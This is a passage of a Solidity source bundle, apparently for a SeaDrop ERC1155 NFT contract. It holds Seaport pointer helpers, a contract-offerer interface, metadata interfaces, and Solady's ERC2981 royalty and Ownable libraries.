BasicOrderParameters object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n BasicOrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from BasicOrderParameters.\n \n @param obj The BasicOrderParameters object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n BasicOrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from AdditionalRecipient.\n \n @param obj The AdditionalRecipient object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n AdditionalRecipient memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from AdditionalRecipient.\n \n @param obj The AdditionalRecipient object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n AdditionalRecipient calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from OrderParameters.\n \n @param obj The OrderParameters object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n OrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from OrderParameters.\n \n @param obj The OrderParameters object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n OrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from Order.\n \n @param obj The Order object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n Order memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from Order.\n \n @param obj The Order object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n Order calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from AdvancedOrder.\n \n @param obj The AdvancedOrder object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n AdvancedOrder memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from AdvancedOrder.\n \n @param obj The AdvancedOrder object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n AdvancedOrder calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from OrderStatus.\n \n @param obj The OrderStatus object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n OrderStatus memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from OrderStatus.\n \n @param obj The OrderStatus object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n OrderStatus calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from CriteriaResolver.\n \n @param obj The CriteriaResolver object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n CriteriaResolver memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from CriteriaResolver.\n \n @param obj The CriteriaResolver object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n CriteriaResolver calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from Fulfillment.\n \n @param obj The Fulfillment object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n Fulfillment memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from Fulfillment.\n \n @param obj The Fulfillment object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n Fulfillment calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from FulfillmentComponent.\n \n @param obj The FulfillmentComponent object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n FulfillmentComponent memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from FulfillmentComponent.\n \n @param obj The FulfillmentComponent object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n FulfillmentComponent calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from Execution.\n \n @param obj The Execution object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n Execution memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from Execution.\n \n @param obj The Execution object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n Execution calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a MemoryPointer from ZoneParameters.\n \n @param obj The ZoneParameters object.\n \n @return ptr The MemoryPointer.\n /\n function toMemoryPointer(\n ZoneParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /\n @dev Get a CalldataPointer from ZoneParameters.\n \n @param obj The ZoneParameters object.\n \n @return ptr The CalldataPointer.\n /\n function toCalldataPointer(\n ZoneParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/interfaces/ContractOffererInterface.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {ReceivedItem, Schema, SpentItem} from \"../lib/ConsiderationStructs.sol\";\nimport {IERC165} from \"../interfaces/IERC165.sol\";\n\n/\n @title ContractOffererInterface\n * @notice Contains the minimum interfaces needed to interact with a contract\n * offerer.\n /\ninterface ContractOffererInterface is IERC165 {\n /\n @dev Generates an order with the specified minimum and maximum spent\n * items, and optional context (supplied as extraData).\n \n @param fulfiller The address of the fulfiller.\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n \n @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n /\n function generateOrder(\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /\n @dev Ratifies an order with the specified offer, consideration, and\n * optional context (supplied as extraData).\n \n @param offer The offer items.\n * @param consideration The consideration items.\n * @param context Additional context of the order.\n * @param orderHashes The hashes to ratify.\n * @param contractNonce The nonce of the contract.\n \n @return ratifyOrderMagicValue The magic value returned by the contract\n * offerer.\n /\n function ratifyOrder(\n SpentItem[] calldata offer,\n ReceivedItem[] calldata consideration,\n bytes calldata context, // encoded based on the schemaID\n bytes32[] calldata orderHashes,\n uint256 contractNonce\n ) external returns (bytes4 ratifyOrderMagicValue);\n\n /\n @dev View function to preview an order generated in response to a minimum\n * set of received items, maximum set of spent items, and context\n * (supplied as extraData).\n \n @param caller The address of the caller (e.g. Seaport).\n * @param fulfiller The address of the fulfiller (e.g. the account\n * calling Seaport).\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n \n @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n /\n function previewOrder(\n address caller,\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external view returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /\n @dev Gets the metadata for this contract offerer.\n \n @return name The name of the contract offerer.\n * @return schemas The schemas supported by the contract offerer.\n /\n function getSeaportMetadata() external view returns (string memory name, Schema[] memory schemas); // map to Seaport Improvement Proposal IDs\n\n function supportsInterface(bytes4 interfaceId) external view override returns (bool);\n\n // Additional functions and/or events based on implemented schemaIDs\n}\n" }, "lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.19;\n\n/\n @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n \n Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n \n For an implementation, see {ERC165}.\n /\ninterface IERC165 {\n /\n @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n \n This function call must use less than 30 000 gas.\n /\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "src/interfaces/ISeaDropTokenContractMetadata.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface ISeaDropTokenContractMetadata {\n /\n @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n \n @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n /\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /\n @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n /\n event ContractURIUpdated(string newContractURI);\n\n /\n @dev Emit an event with the previous and new provenance hash after\n * being updated.\n /\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /\n @dev Emit an event when the EIP-2981 royalty info is updated.\n /\n event RoyaltyInfoUpdated(address receiver, uint256 basisPoints);\n\n /\n @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables.\n /\n error CannotExceedMaxSupplyOfUint64(uint256 got);\n\n /\n @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n /\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /\n @dev Revert with an error when attempting to set the provenance\n * hash after it has already been set.\n /\n error ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n\n /\n @notice Sets the base URI for the token metadata and emits an event.\n \n @param tokenURI The new base URI to set.\n /\n function setBaseURI(string calldata tokenURI) external;\n\n /\n @notice Sets the contract URI for contract metadata.\n \n @param newContractURI The new contract URI.\n /\n function setContractURI(string calldata newContractURI) external;\n\n /\n @notice Sets the provenance hash and emits an event.\n \n The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n \n This function will revert after the first item has been minted.\n \n @param newProvenanceHash The new provenance hash to set.\n /\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /\n @notice Sets the default royalty information.\n \n Requirements:\n \n - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of\n * 10_000 basis points.\n /\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external;\n\n /\n @notice Returns the base URI for token metadata.\n /\n function baseURI() external view returns (string memory);\n\n /\n @notice Returns the contract URI.\n /\n function contractURI() external view returns (string memory);\n\n /\n @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n /\n function provenanceHash() external view returns (bytes32);\n}\n" }, "src/interfaces/IERC1155ContractMetadata.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\ninterface IERC1155ContractMetadata is ISeaDropTokenContractMetadata {\n /\n @dev A struct representing the supply info for a token id,\n * packed into one storage slot.\n \n @param maxSupply The max supply for the token id.\n * @param totalSupply The total token supply for the token id.\n * Subtracted when an item is burned.\n * @param totalMinted The total number of tokens minted for the token id.\n /\n struct TokenSupply {\n uint64 maxSupply; // 64/256 bits\n uint64 totalSupply; // 128/256 bits\n uint64 totalMinted; // 192/256 bits\n }\n\n /\n @dev Emit an event when the max token supply for a token id is updated.\n /\n event MaxSupplyUpdated(uint256 tokenId, uint256 newMaxSupply);\n\n /\n @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n /\n error MintExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /\n @notice Sets the max supply for a token id and emits an event.\n \n @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n /\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external;\n\n /\n @notice Returns the name of the token.\n /\n function name() external view returns (string memory);\n\n /\n @notice Returns the symbol of the token.\n /\n function symbol() external view returns (string memory);\n\n /\n @notice Returns the max token supply for a token id.\n /\n function maxSupply(uint256 tokenId) external view returns (uint256);\n\n /\n @notice Returns the total supply for a token id.\n /\n function totalSupply(uint256 tokenId) external view returns (uint256);\n\n /\n @notice Returns the total minted for a token id.\n /\n function totalMinted(uint256 tokenId) external view returns (uint256);\n}\n" }, "lib/solady/src/tokens/ERC2981.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC2981 NFT Royalty Standard implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC2981.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol)\nabstract contract ERC2981 {\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n / CUSTOM ERRORS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev The royalty fee numerator exceeds the fee denominator.\n error RoyaltyOverflow();\n\n /// @dev The royalty receiver cannot be the zero address.\n error RoyaltyReceiverIsZeroAddress();\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* STORAGE /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev The default royalty info is given by:\n /// ```\n /// let packed := sload(_ERC2981_MASTER_SLOT_SEED)\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n ///\n /// The per token royalty info is given by.\n /// ```\n /// mstore(0x00, tokenId)\n /// mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n /// let packed := sload(keccak256(0x00, 0x40))\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n uint256 private constant _ERC2981_MASTER_SLOT_SEED = 0xaa4ec00224afccfdb7;\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* ERC2981 /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Checks that `_feeDenominator` is non-zero.\n constructor() {\n require(_feeDenominator() != 0, \"Fee denominator cannot be zero.\");\n }\n\n /// @dev Returns the denominator for the royalty amount.\n /// Defaults to 10000, which represents fees in basis points.\n /// Override this function to return a custom amount if needed.\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 10000;\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC2981: 0x2a55205a.\n result := or(eq(s, 0x01ffc9a7), eq(s, 0x2a55205a))\n }\n }\n\n /// @dev Returns the `receiver` and `royaltyAmount` for `tokenId` sold at `salePrice`.\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n public\n view\n virtual\n returns (address receiver, uint256 royaltyAmount)\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n let packed := sload(keccak256(0x00, 0x40))\n receiver := shr(96, packed)\n if iszero(receiver) {\n packed := sload(mload(0x20))\n receiver := shr(96, packed)\n }\n let x := salePrice\n let y := xor(packed, shl(96, receiver)) // `feeNumerator`.\n // Overflow check, equivalent to `require(y == 0 \|\| x <= type(uint256).max / y)`.\n // Out-of-gas revert. Should not be triggered in practice, but included for safety.\n returndatacopy(returndatasize(), returndatasize(), mul(y, gt(x, div(not(0), y))))\n royaltyAmount := div(mul(x, y), feeDenominator)\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n sstore(_ERC2981_MASTER_SLOT_SEED, or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator` to zero.\n function _deleteDefaultRoyalty() internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n sstore(_ERC2981_MASTER_SLOT_SEED, 0)\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setTokenRoyalty(uint256 tokenId, address receiver, uint96 feeNumerator)\n internal\n virtual\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId` to zero.\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), 0)\n }\n }\n}\n" }, "lib/solady/src/auth/Ownable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple single owner authorization mixin.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/auth/Ownable.sol)\n/// @dev While the ownable portion follows\n/// [EIP-173](https://eips.ethereum.org/EIPS/eip-173) for compatibility,\n/// the nomenclature for the 2-step ownership handover may be unique to this codebase.\nabstract contract Ownable {\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* CUSTOM ERRORS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev The caller is not authorized to call the function.\n error Unauthorized();\n\n /// @dev The `newOwner` cannot be the zero address.\n error NewOwnerIsZeroAddress();\n\n /// @dev The `pendingOwner` does not have a valid handover request.\n error NoHandoverRequest();\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* EVENTS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev The ownership is transferred from `oldOwner` to `newOwner`.\n /// This event is intentionally kept the same as OpenZeppelin's Ownable to be\n /// compatible with indexers and [EIP-173](https://eips.ethereum.org/EIPS/eip-173),\n /// despite it not being as lightweight as a single argument event.\n event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);\n\n /// @dev An ownership handover to `pendingOwner` has been requested.\n event OwnershipHandoverRequested(address indexed pendingOwner);\n\n /// @dev The ownership handover to `pendingOwner` has been canceled.\n event OwnershipHandoverCanceled(address indexed pendingOwner);\n\n /// @dev `keccak256(bytes(\"OwnershipTransferred(address,address)\"))`.\n uint256 private constant _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE =\n 0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverRequested(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE =\n 0xdbf36a107da19e49527a7176a1babf963b4b0ff8cde35ee35d6cd8f1f9ac7e1d;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverCanceled(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE =\n 0xfa7b8eab7da67f412cc9575ed43464468f9bfbae89d1675917346ca6d8fe3c92;\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* STORAGE /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev The owner slot is given by: `not(_OWNER_SLOT_NOT)`.\n /// It is intentionally chosen to be a high value\n /// to avoid collision with lower slots.\n /// The choice of manual storage layout is to enable compatibility\n /// with both regular and upgradeable contracts.\n uint256 private constant _OWNER_SLOT_NOT = 0x8b78c6d8;\n\n /// The ownership handover slot of `newOwner` is given by:\n /// ```\n /// mstore(0x00, or(shl(96, user), _HANDOVER_SLOT_SEED))\n /// let handoverSlot := keccak256(0x00, 0x20)\n /// ```\n /// It stores the expiry timestamp of the two-step ownership handover.\n uint256 private constant _HANDOVER_SLOT_SEED = 0x389a75e1;\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* INTERNAL FUNCTIONS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Initializes the owner directly without authorization guard.\n /// This function must be called upon initialization,\n /// regardless of whether the contract is upgradeable or not.\n /// This is to enable generalization to both regular and upgradeable contracts,\n /// and to save gas in case the initial owner is not the caller.\n /// For performance reasons, this function will not check if there\n /// is an existing owner.\n function _initializeOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Store the new value.\n sstore(not(_OWNER_SLOT_NOT), newOwner)\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, 0, newOwner)\n }\n }\n\n /// @dev Sets the owner directly without authorization guard.\n function _setOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n let ownerSlot := not(_OWNER_SLOT_NOT)\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, sload(ownerSlot), newOwner)\n // Store the new value.\n sstore(ownerSlot, newOwner)\n }\n }\n\n /// @dev Throws if the sender is not the owner.\n function _checkOwner() internal view virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // If the caller is not the stored owner, revert.\n if iszero(eq(caller(), sload(not(_OWNER_SLOT_NOT)))) {\n mstore(0x00, 0x82b42900) // `Unauthorized()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* PUBLIC UPDATE FUNCTIONS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Allows the owner to transfer the ownership to `newOwner`.\n function transferOwnership(address newOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(shl(96, newOwner)) {\n mstore(0x00, 0x7448fbae) // `NewOwnerIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n }\n _setOwner(newOwner);\n }\n\n /// @dev Allows the owner to renounce their ownership.\n function renounceOwnership() public payable virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /// @dev Request a two-step ownership handover to the caller.\n /// The request will automatically expire in 48 hours (172800 seconds) by default.\n function requestOwnershipHandover() public payable virtual {\n unchecked {\n uint256 expires = block.timestamp + ownershipHandoverValidFor();\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to `expires`.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), expires)\n // Emit the {OwnershipHandoverRequested} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE, caller())\n }\n }\n }\n\n /// @dev Cancels the two-step ownership handover to the caller, if any.\n function cancelOwnershipHandover() public payable virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), 0)\n // Emit the {OwnershipHandoverCanceled} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE, caller())\n }\n }\n\n /// @dev Allows the owner to complete the two-step ownership handover to `pendingOwner`.\n /// Reverts if there is no existing ownership handover requested by `pendingOwner`.\n function completeOwnershipHandover(address pendingOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n let handoverSlot := keccak256(0x0c, 0x20)\n // If the handover does not exist, or has expired.\n if gt(timestamp(), sload(handoverSlot)) {\n mstore(0x00, 0x6f5e8818) // `NoHandoverRequest()`.\n revert(0x1c, 0x04)\n }\n // Set the handover slot to 0.\n sstore(handoverSlot, 0)\n }\n _setOwner(pendingOwner);\n }\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* PUBLIC READ FUNCTIONS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Returns the owner of the contract.\n function owner() public view virtual returns (address result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := sload(not(_OWNER_SLOT_NOT))\n }\n }\n\n /// @dev Returns the expiry timestamp for the two-step ownership handover to `pendingOwner`.\n function ownershipHandoverExpiresAt(address pendingOwner)\n public\n view\n virtual\n returns (uint256 result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute the handover slot.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n // Load the handover slot.\n result := sload(keccak256(0x0c, 0x20))\n }\n }\n\n /// @dev Returns how long a two-step ownership handover is valid for in seconds.\n function ownershipHandoverValidFor() public view virtual returns (uint64) {\n return 48 * 3600;\n }\n\n /´:°•.°+.•´.:˚.°.˚•´.°:°•.°•.•´.:˚.°.˚•´.°:°•.°+.•´.:/\n /* MODIFIERS /\n /.•°:°.´+˚.°.˚:.´•.+°.•°:´.´•.•°.•°:°.´:•˚°.°.˚:.´+°.•/\n\n /// @dev Marks a function as only callable by the owner.\n modifier onlyOwner() virtual {\n _checkOwner();\n _;\n }\n}\n" }, "lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.19;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/*\n @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n \n The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n \n For example:\n \n [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n \n contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n \n TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to 